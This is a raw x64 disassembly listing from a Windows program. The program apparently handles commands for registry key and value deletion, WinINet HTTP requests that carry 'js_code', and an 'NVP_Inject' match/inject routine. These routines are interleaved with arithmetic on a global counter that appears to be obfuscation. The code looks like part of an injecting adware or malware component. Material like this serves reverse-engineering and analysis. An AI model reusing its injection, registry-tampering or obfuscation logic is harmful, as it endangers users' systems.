sar eax, 1
mov ecx, eax
mov dword [0x1401bdd80], eax
jmp 0x140062e2f
lea ecx, [rcx*2 + 1]
mov dword [0x1401bdd80], ecx
mov eax, 0x55555556
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
mov edx, ecx
sub edx, eax
je 0x140062e51
sub edx, 2
je 0x140062e5a
dec edx
je 0x140062e62
jmp 0x140062e6b
add ecx, 2
mov dword [0x1401bdd80], ecx
inc ecx
mov dword [0x1401bdd80], ecx
add ecx, 2
mov dword [0x1401bdd80], ecx
jmp 0x140062df0
mov rcx, qword [rsp + 0x3a0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5a8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062e9e
mov rdx, qword [rsp + 0x5a8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rbx, qword [rsp + 0x1d0]
test rbx, rbx
je 0x140063007
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xb40], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xfe0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xb50], rdx
lea rcx, [rsp + 0x360]
call fcn.140003420
nop
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xdf0], rax
lea rdx, [0x14014ce08]
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xb60], rax
mov rcx, rax
call fcn.1400385c0
mov dword [rsp + 0x178], eax
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xfa0], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xb70], rax
mov rdx, qword [rax]
mov qword [rsp + 0xe00], rdx
lea rcx, [rsp + 0x300]
call fcn.140003420
nop
mov r9, rbx
lea r8, [rsp + 0x360]
lea rdx, [rsp + 0x178]
lea rcx, [rsp + 0x300]
call fcn.140048be0
mov byte [rsp + 0x50], al
mov rcx, qword [rsp + 0x300]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5b8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140062fd6
mov rdx, qword [rsp + 0x5b8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x360]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5c8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063182
mov rdx, qword [rsp + 0x5c8]
jmp 0x140063179
lea rax, [rsp + 0x5d8]
mov qword [rsp + 0xb80], rax
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xf20], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xb90], rax
mov rdx, qword [rax]
mov qword [rsp + 0xe10], rdx
lea rcx, [rsp + 0x390]
call fcn.140003420
nop
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xba0], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xf28], rax
mov rdx, qword [rax]
mov qword [rsp + 0xbb0], rdx
lea rcx, [rsp + 0x310]
call fcn.140003420
nop
lea rdx, [0x140146fd8]
lea rcx, [rsp + 0x5d8]
call fcn.1400021f0
mov rbx, rax
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xe20], rax
lea rdx, [0x14014ce08]
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xbc0], rax
mov rcx, rax
call fcn.1400385c0
mov edx, eax
mov qword [rsp + 0x20], rbx
mov r9, qword [0x1401b8d58]
lea r8, [rsp + 0x390]
lea rcx, [rsp + 0x310]
call fcn.140049870
mov byte [rsp + 0x50], al
mov rcx, qword [rsp + 0x310]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5e8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063151
mov rdx, qword [rsp + 0x5e8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x390]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x5f8], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063182
mov rdx, qword [rsp + 0x5f8]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
test r12, r12
je 0x140065500
movzx eax, byte [rsp + 0x50]
jmp 0x140062c17
lea rdx, str.removePref
lea rcx, [rsp + 0x48]
call fcn.140003880
test eax, eax
jne 0x1400638bc
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xf38], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xbd0], rax
cmp byte [rax + 8], 4
jne 0x140065500
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xe30], rax
lea rdx, str.hive
mov rcx, rax
call fcn.140038e30
mov qword [rsp + 0xbe0], rax
lea rdx, str.param
lea rcx, [rsp + 0x58]
cmp rax, r14
je 0x1400636c1
call fcn.140038c30
mov qword [rsp + 0xf18], rax
lea rdx, str.hive
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xbf0], rax
mov rdx, qword [rax]
mov qword [rsp + 0xe40], rdx
lea rcx, [rsp + 0x1f0]
call fcn.140003420
nop
mov rbx, qword [rsi + 0x50]
lea rdx, str.HKEY_USERS
lea rcx, [rsp + 0x1f0]
call fcn.140003880
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0xc00], rbx
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xf58], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xc10], rax
mov rdx, qword [rax]
mov qword [rsp + 0xe50], rdx
lea rax, [rsp + 0x1e0]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [rsp + 0x108], eax
test eax, eax
je 0x140063401
test r12, r12
je 0x140063314
mov dword [r12 + 8], eax
mov eax, 0x16
mov word [r12], ax
mov rcx, qword [rsp + 0x1f0]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x608], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063346
mov rdx, qword [rsp + 0x608]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0x48]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x618], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063375
mov rdx, qword [rsp + 0x618]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x4b28], 0x10
jb 0x14006338d
mov rcx, qword [rsp + 0x4b10]
call fcn.1400cbac0
mov qword [rsp + 0x4b28], 0xf
mov qword [rsp + 0x4b20], rdi
mov byte [rsp + 0x4b10], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x628], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400633d8
mov rdx, qword [rsp + 0x628]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x4c60]
call fcn.1400197a0
nop
lea rcx, [rsp + 0x58]
call fcn.1400381f0
nop
mov r14d, 1
mov rbx, qword [rsp + 0x40]
jmp 0x140065651
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xc20], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xf68], rax
mov rdx, qword [rax]
mov qword [rsp + 0xc30], rdx
lea rcx, [rsp + 0x260]
call fcn.140003420
nop
mov rdx, qword [rsp + 0x260]
mov eax, dword [rdx - 0x10]
mov dword [rsp + 0x680], eax
mov rcx, qword [rsp + 0x1e0]
test eax, eax
jne 0x1400634ef
lea rdx, [0x140146fd8]
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov dword [rsp + 0x108], eax
test eax, eax
je 0x1400635f0
test r12, r12
je 0x14006349c
mov dword [r12 + 8], eax
mov eax, 0x16
mov word [r12], ax
mov ecx, dword [0x1401bdd80]
mov eax, ecx
imul eax, ecx
and eax, 0x8000000f
jge 0x1400634b5
dec eax
or eax, 0xfffffff0
inc eax
cmp eax, 0xd
jne 0x140063605
mov edx, ecx
test ecx, ecx
je 0x1400634e0
dec edx
je 0x1400634d5
inc ecx
mov dword [0x1401bdd80], ecx
jmp 0x140063605
mov dword [0x1401bdd80], edi
jmp 0x140063605
mov dword [0x1401bdd80], 2
jmp 0x140063605
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov dword [rsp + 0x108], eax
test eax, eax
je 0x1400635f0
test r12, r12
je 0x140063518
mov dword [r12 + 8], eax
mov eax, 0x16
mov word [r12], ax
mov esi, dword [0x1401bdd80]
lea ecx, [rsi + 2]
lea eax, [rsi + 1]
imul ecx, eax
imul ecx, esi
mov eax, 0xb21642c9
imul ecx
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x17
sub ecx, edx
cmp ecx, 8
jne 0x140063605
mov r14d, edi
mov dword [rsp + 0x230], edi
cmp r14d, 0xd
jge 0x140063605
mov r11d, edi
mov dword [rsp + 0x188], edi
nop dword [rax]
cmp r11d, 5
jge 0x1400635e0
mov r10d, edi
mov dword [rsp + 0x1e8], edi
cmp r10d, 8
jge 0x1400635d3
lea ebx, [r10 + 1]
lea ecx, [r11 + 1]
mov eax, esi
cdq
idiv ecx
mov r9d, edx
mov eax, esi
sub eax, r14d
imul r9d, eax
mov eax, esi
cdq
idiv ebx
imul r9d, eax
movsxd rax, r14d
lea r8, [rax + rax*4]
movsxd rax, r11d
add r8, rax
movsxd rax, r10d
lea rcx, [rsp + 0x53f0]
add rcx, rax
mov byte [rcx + r8*8], r9b
mov r10d, ebx
mov dword [rsp + 0x1e8], ebx
jmp 0x140063580
inc r11d
mov dword [rsp + 0x188], r11d
jmp 0x140063570
inc r14d
mov dword [rsp + 0x230], r14d
jmp 0x140063555
test r12, r12
je 0x140063605
mov word [r12 + 8], r15w
mov esi, 0xb
mov word [r12], si
mov rcx, qword [rsp + 0x1e0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
mov rcx, qword [rsp + 0x260]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x638], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140063646
mov rdx, qword [rsp + 0x638]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x1f0]
call fcn.140002290
nop
lea rcx, [rsp + 0x48]
call fcn.140002290
nop
cmp qword [rsp + 0x4b28], 0x10
jb 0x140063677
mov rcx, qword [rsp + 0x4b10]
call fcn.1400cbac0
mov qword [rsp + 0x4b28], 0xf
mov qword [rsp + 0x4b20], rdi
mov byte [rsp + 0x4b10], 0
lea rcx, [rsp + 0x70]
call fcn.140002290
nop
lea rcx, [rsp + 0x4c60]
call fcn.1400197a0
nop
lea rcx, [rsp + 0x58]
call fcn.1400381f0
nop
mov rbx, qword [rsp + 0x40]
jmp 0x140065646
call fcn.140038c30
mov qword [rsp + 0xe70], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xc40], rax
cmp byte [rax + 8], 4
jne 0x1400637e3
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xf78], rax
lea rdx, str.valueName
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xc50], rax
mov rdx, qword [rax]
mov qword [rsp + 0xe90], rdx
lea rcx, [rsp + 0x2a0]
call fcn.140003420
nop
lea rdx, [0x140146fd8]
lea rcx, [rsp + 0x290]
call fcn.1400021f0
nop
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xc60], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xf88], rax
mov rdx, qword [rax]
mov qword [rsp + 0x850], rdx
lea rcx, [rsp + 0x280]
call fcn.140003420
nop
lea r8, [rsp + 0x2a0]
lea rdx, [rsp + 0x290]
lea rcx, [rsp + 0x280]
call fcn.140047e20
movzx ebx, al
mov byte [rsp + 0x78], al
lea rcx, [rsp + 0x280]
call fcn.140002290
nop
lea rcx, [rsp + 0x290]
call fcn.140002290
nop
lea rcx, [rsp + 0x2a0]
jmp 0x14006389e
lea rdx, [0x140146fd8]
lea rcx, [rsp + 0x258]
call fcn.1400021f0
nop
lea rdx, [0x140146fd8]
lea rcx, [rsp + 0x2c0]
call fcn.1400021f0
nop
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0x858], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0x868], rax
mov rdx, qword [rax]
mov qword [rsp + 0x878], rdx
lea rcx, [rsp + 0x2b0]
call fcn.140003420
nop
lea r8, [rsp + 0x258]
lea rdx, [rsp + 0x2c0]
lea rcx, [rsp + 0x2b0]
call fcn.140047e20
movzx ebx, al
mov byte [rsp + 0x78], al
lea rcx, [rsp + 0x2b0]
call fcn.140002290
nop
lea rcx, [rsp + 0x2c0]
call fcn.140002290
nop
lea rcx, [rsp + 0x258]
call fcn.140002290
test r12, r12
je 0x140065500
neg bl
sbb ax, ax
mov word [r12 + 8], ax
jmp 0x140062c22
lea rdx, str.getChildValues
lea rcx, [rsp + 0x48]
call fcn.140003880
test eax, eax
je 0x14006493b
lea rdx, str.getChildKeys
lea rcx, [rsp + 0x48]
call fcn.140003880
test eax, eax
je 0x14006493b
lea rdx, str.requestGet
lea rcx, [rsp + 0x48]
call fcn.140003880
test eax, eax
jne 0x140063f52
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
mov r14d, 1
mov edx, r14d
lea rcx, [0x140146fd8]
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
mov qword [rsp + 0x888], rax
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0x898], rax
lea rdx, [0x14014a63c]
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0x8a8], rax
cmp byte [rax + 8], 4
jne 0x140063ed0
test rsi, rsi
je 0x140063ed0
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0x8b8], rax
lea rdx, [0x14014a63c]
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0x8c8], rax
lea rdx, [rsp + 0x4c00]
mov rcx, rax
call fcn.140038330
mov qword [rsp + 0x8d8], rax
cmp qword [rax + 0x18], 0x10
jb 0x1400639c7
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0xa8]
call fcn.140003420
nop
cmp qword [rsp + 0x4c18], 0x10
jb 0x1400639f0
mov rcx, qword [rsp + 0x4c00]
call fcn.1400cbac0
mov qword [rsp + 0x4c18], 0xf
mov qword [rsp + 0x4c10], rdi
mov byte [rsp + 0x4c00], 0
xor r8d, r8d
lea rdx, str.error
lea rcx, [rsp + 0xa8]
call fcn.14000fd70
mov ebx, eax
mov dword [rsp + 0x198], eax
test eax, eax
jle 0x140063ae8
add ebx, 6
mov dword [rsp + 0x198], ebx
mov edx, 0x26
mov rcx, qword [rsp + 0xa8]
call fcn.1400ce3c8
mov qword [rsp + 0x8e8], rax
test rax, rax
jne 0x140063a62
mov eax, r15d
jmp 0x140063a6d
sub rax, qword [rsp + 0xa8]
sar rax, 1
sub eax, ebx
mov r9d, eax
mov r8d, ebx
lea rdx, [rsp + 0x648]
lea rcx, [rsp + 0xa8]
call fcn.14000fdc0
mov qword [rsp + 0x8f8], rax
mov rdx, rax
lea rcx, [rsp + 0xa8]
call fcn.140002310
nop
lea rcx, [rsp + 0x648]
call fcn.140002290
lea rdx, str.js_code
lea rcx, [rsp + 0x2e8]
call fcn.140003420
nop
lea rdx, [rsp + 0x2e8]
lea rcx, [rsp + 0xa8]
call fcn.14001d8e0
nop
lea rcx, [rsp + 0x2e8]
call fcn.140002290
xor edx, edx
lea rcx, [rsp + 0x3c0]
call fcn.140037e80
nop
lea rdx, [0x14014a6a4]
lea rcx, [rsp + 0xe58]
call fcn.140037f40
nop
lea rdx, [0x14014a678]
lea rcx, [rsp + 0x3c0]
call fcn.140038c30
mov rcx, rax
lea rdx, [rsp + 0xe58]
call fcn.1400382a0
nop
lea rcx, [rsp + 0xe58]
call fcn.1400381f0
mov r8d, dword [0x1401bdd80]
lea ecx, [r8 + 2]
lea eax, [r8 + 1]
imul ecx, eax
imul ecx, r8d
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub ecx, edx
cmp ecx, 0x15
jne 0x140063b7e
test r8d, r8d
cmove r8d, r14d
mov dword [0x1401bdd80], r8d
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0x908], rax
lea rdx, [0x14014a63c]
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0x918], rax
lea rdx, [rsp + 0x4d20]
mov rcx, rax
call fcn.140038330
nop
mov rdx, rax
lea rcx, [rsp + 0xe78]
call fcn.140037fd0
nop
lea rdx, [0x14014a63c]
lea rcx, [rsp + 0x3c0]
call fcn.140038c30
mov rcx, rax
lea rdx, [rsp + 0xe78]
call fcn.1400382a0
nop
lea rcx, [rsp + 0xe78]
call fcn.1400381f0
nop
lea rcx, [rsp + 0x4d20]
call fcn.1400013b0
mov eax, dword [0x1401bdd80]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x30c30c31
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub ecx, edx
cmp ecx, 0x12
jne 0x140063c5b
mov eax, dword [str.0B14i]
mov dword [rsp + 0x1c8], eax
movzx eax, word [0x14014ced4]
mov word [rsp + 0x1cc], ax
mov byte [rsp + 0x1c8], 0x84
lea rdx, [0x14014a6b4]
lea rcx, [rsp + 0xe98]
call fcn.140037f40
nop
lea rdx, str.acceptedStatusCodes
lea rcx, [rsp + 0x3c0]
call fcn.140038c30
mov rcx, rax
lea rdx, [rsp + 0xe98]
call fcn.140038f50
nop
lea rcx, [rsp + 0xe98]
call fcn.1400381f0
lea rdx, [0x14014a6d4]
lea rcx, [rsp + 0xeb8]
call fcn.140037f40
nop
lea rdx, str.acceptTypes
lea rcx, [rsp + 0x3c0]
call fcn.140038c30
mov rcx, rax
lea rdx, [rsp + 0xeb8]
call fcn.1400382a0
nop
lea rcx, [rsp + 0xeb8]
call fcn.1400381f0
lea rdx, str.Accept_Encoding:_gzip__deflate_r_n
lea rcx, [rsp + 0xed8]
call fcn.140037f40
nop
lea rdx, str.additionalRequestHeaders
lea rcx, [rsp + 0x3c0]
call fcn.140038c30
mov rcx, rax
lea rdx, [rsp + 0xed8]
call fcn.1400382a0
nop
lea rcx, [rsp + 0xed8]
call fcn.1400381f0
mov qword [rsp + 0x658], rdi
lea r9, [rsp + 0x3c0]
lea r8, [rsp + 0x658]
mov rdx, rsi
lea rcx, [rsp + 0xef8]
call fcn.14002de60
nop
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
test r12, r12
je 0x140063e5e
lea rax, vtable.Json::Writer.0
mov qword [rsp + 0x4b70], rax
lea rax, vtable.Json::FastWriter.0
mov qword [rsp + 0x4b70], rax
mov qword [rsp + 0x4b88], rdi
mov qword [rsp + 0x4b90], rdi
mov qword [rsp + 0x4b90], 0xf
mov qword [rsp + 0x4b88], rdi
mov byte [rsp + 0x4b78], 0
mov byte [rsp + 0x4b98], 0
lea r8, [rsp + 0xef8]
lea rdx, [rsp + 0x4d40]
lea rcx, [rsp + 0x4b70]
call fcn.14003b4f0
mov qword [rsp + 0x928], rax
cmp qword [rax + 0x18], 0x10
jb 0x140063dec
mov rax, qword [rax]
mov rdx, rax
lea rcx, [rsp + 0x2f8]
call fcn.140003420
nop
lea rcx, [rsp + 0x4d40]
call fcn.1400013b0
mov rcx, qword [rsp + 0x2f8]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x844], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0x938], rax
test rax, rax
jne 0x140063e34
call fcn.140002580
mov qword [r12 + 8], rax
mov eax, 8
mov word [r12], ax
lea rcx, [rsp + 0x2f8]
call fcn.140002290
nop
lea rcx, [rsp + 0x4b70]
call fcn.14000b200
mov ecx, dword [0x1401bdd80]
lea r8d, [rcx + 1]
imul r8d, ecx
mov eax, 0x2aaaaaab
imul r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 3
sub r8d, eax
cmp r8d, 5
jne 0x140063ea2
mov dword [rsp + 0x2e10], edi
mov dword [rsp + 0x39e0], edi
mov dword [rsp + 0x1110], edi
lea rcx, [rsp + 0xef8]
call fcn.1400381f0
nop
lea rcx, [rsp + 0x3c0]
call fcn.1400381f0
nop
lea rcx, [rsp + 0xa8]
call fcn.140002290
jmp 0x140065500
test r12, r12
je 0x140063ee5
mov word [r12 + 8], di
mov esi, 0xb
mov word [r12], si
lea rcx, [rsp + 0x48]
call fcn.140002290
nop
cmp qword [rsp + 0x4b28], 0x10
jb 0x140063f08
mov rcx, qword [rsp + 0x4b10]
call fcn.1400cbac0
mov qword [rsp + 0x4b28], 0xf
mov qword [rsp + 0x4b20], rdi
mov byte [rsp + 0x4b10], 0
lea rcx, [rsp + 0x70]
call fcn.140002290
nop
lea rcx, [rsp + 0x4c60]
call fcn.1400197a0
nop
lea rcx, [rsp + 0x58]
call fcn.1400381f0
nop
mov rbx, qword [rsp + 0x40]
jmp 0x140065651
lea rdx, [0x14014ce90]
lea rcx, [rsp + 0x48]
call fcn.140003880
test eax, eax
jne 0x140063f7b
test r12, r12
je 0x140065500
mov word [r12 + 8], r15w
jmp 0x140062c22
lea rdx, str.NVP_Inject
lea rcx, [rsp + 0x48]
call fcn.140003880
test eax, eax
jne 0x140064513
mov eax, dword [0x1401bdd80]
mov ecx, eax
imul ecx, eax
imul ecx, eax
mov eax, 0x6bca1af3
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x13
sub ecx, edx
cmp ecx, 9
jne 0x14006400c
mov eax, 0xa9
mov dword [rsp + 0x1a8], eax
mov r8d, 0x19
mov dword [rsp + 0x1f8], r8d
test eax, eax
je 0x140064003
test r8d, r8d
je 0x140064003
mov ecx, r8d
mov dword [rsp + 0x730], ecx
cdq
idiv r8d
mov r8d, edx
mov dword [rsp + 0x1f8], edx
mov eax, ecx
mov dword [rsp + 0x1a8], ecx
jmp 0x140063fd7
add eax, r8d
mov dword [0x1401bdd80], eax
test r12, r12
je 0x140065500
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0x948], rax
lea rdx, str.match
mov rcx, rax
call fcn.140038e30
mov qword [rsp + 0x958], rax
cmp rax, r14
je 0x1400644cc
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0x968], rax
lea rdx, str.inject
mov rcx, rax
call fcn.140038e30
mov qword [rsp + 0x978], rax
cmp rax, r14
je 0x1400644cc
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0x988], rax
lea rdx, str.message
mov rcx, rax
call fcn.140038e30
mov qword [rsp + 0x998], rax
cmp rax, r14
je 0x1400644cc
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0x9a8], rax
lea rdx, str.match
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0x9b8], rax
cmp byte [rax + 8], 1
jne 0x1400644cc
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0x9c8], rax
lea rdx, str.inject
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0x9d8], rax
cmp byte [rax + 8], 1
jne 0x1400644cc
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0x9e8], rax
lea rdx, str.message
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0x9f8], rax
cmp byte [rax + 8], 4
jne 0x1400644cc
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xa08], rax
lea rdx, str.message
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xa18], rax
lea rdx, [rsp + 0x4b30]
mov rcx, rax
call fcn.140038330
nop
mov r8d, dword [0x1401bdd80]
mov ecx, r8d
imul ecx, r8d
imul ecx, r8d
mov eax, 0x6bca1af3
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x13
sub ecx, edx
cmp ecx, 9
jne 0x140064209
mov ecx, edi
mov dword [rsp + 0x228], ecx
movsxd rax, ecx
cmp rax, 0x74
jae 0x140064209
mov eax, dword [rsp + rax*4 + 0x4d60]
imul eax, eax, 0xed
add r8d, eax
mov dword [0x1401bdd80], r8d
inc ecx
jmp 0x1400641de
mov qword [rsp + 0x308], rdi
lea rcx, [rsp + 0x4b30]
cmp qword [rsp + 0x4b48], 0x10
cmovae rcx, qword [rsp + 0x4b30]
mov qword [rsp + 0xa28], rcx
mov rdx, qword [rsp + 0x4b40]
test dl, 3
jne 0x140064477
lea r8, [rsp + 0x308]
call fcn.140020280
mov byte [rsp + 0x98], al
test al, al
je 0x140064477
mov qword [rsp + 0x128], rdi
mov qword [rsp + 0x130], rdi
mov qword [rsp + 0x138], rdi
mov rbx, qword [rsp + 0x308]
mov rdx, rbx
lea rcx, [rsp + 0x128]
call fcn.140031880
nop
mov qword [rsp + 0x318], rdi
cmp qword [rsp + 0x4b48], 0x10
jb 0x1400642c3
mov rcx, qword [rsp + 0x4b30]
mov qword [rsp + 0x668], rcx
test rcx, rcx
jne 0x1400642d3
mov rbx, qword [rsp + 0x128]
jmp 0x140064306
lea rcx, [rsp + 0x4b30]
mov qword [rsp + 0x668], rcx
lea rax, [rsp + 0x318]
mov qword [rsp + 0x20], rax
mov r9, rbx
mov rbx, qword [rsp + 0x128]
mov r8, rbx
mov rdx, qword [rsp + 0x4b40]
call fcn.140020430
mov byte [rsp + 0xb0], al
test al, al
jne 0x140064380
test rbx, rbx
je 0x14006432b
mov rcx, rbx
call fcn.1400cbac0
mov qword [rsp + 0x128], rdi
mov qword [rsp + 0x130], rdi
mov qword [rsp + 0x138], rdi
lea rcx, [rsp + 0x4b30]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x48]
call fcn.140002290
nop
lea rcx, [rsp + 0x4b10]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x70]
call fcn.140002290
nop
lea rcx, [rsp + 0x4c60]
call fcn.1400197a0
nop
lea rcx, [rsp + 0x58]
call fcn.1400381f0
nop
mov rbx, qword [rsp + 0x40]
jmp 0x140065646
mov rdx, qword [rsp + 0x318]
lea rcx, [rsp + 0x128]
call fcn.140031880
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xa38], rax
lea rdx, str.match
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xa48], rax
mov rcx, rax
call fcn.1400385c0
mov ebx, eax
mov dword [rsp + 0x3f0], eax
lea rdx, str.param
lea rcx, [rsp + 0x58]
call fcn.140038c30
mov qword [rsp + 0xa58], rax
lea rdx, str.inject
mov rcx, rax
call fcn.140038c30
mov qword [rsp + 0xa68], rax
mov rcx, rax
call fcn.1400385c0
mov dword [rsp + 0x620], eax
lea r9, [rsp + 0x128]
mov r8d, eax
mov edx, ebx
mov rcx, qword [rsi + 0x40]
call fcn.14005b3c0
mov word [r12 + 8], r15w
mov esi, 0xb
mov word [r12], si
mov rcx, qword [rsp + 0x128]
test rcx, rcx
je 0x140064465
call fcn.1400cbac0
mov qword [rsp + 0x128], rdi
mov qword [rsp + 0x130], rdi
mov qword [rsp + 0x138], rdi
lea rcx, [rsp + 0x4b30]
call fcn.1400013b0
jmp 0x140065500
lea rcx, [rsp + 0x4b30]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x48]
call fcn.140002290
nop
lea rcx, [rsp + 0x4b10]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x70]
call fcn.140002290
nop
lea rcx, [rsp + 0x4c60]
call fcn.1400197a0
nop
lea rcx, [rsp + 0x58]
call fcn.1400381f0
nop
mov rbx, qword [rsp + 0x40]
jmp 0x140065646
lea rcx, [rsp + 0x48]
call fcn.140002290
nop
lea rcx, [rsp + 0x4b10]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x70]
call fcn.140002290
nop
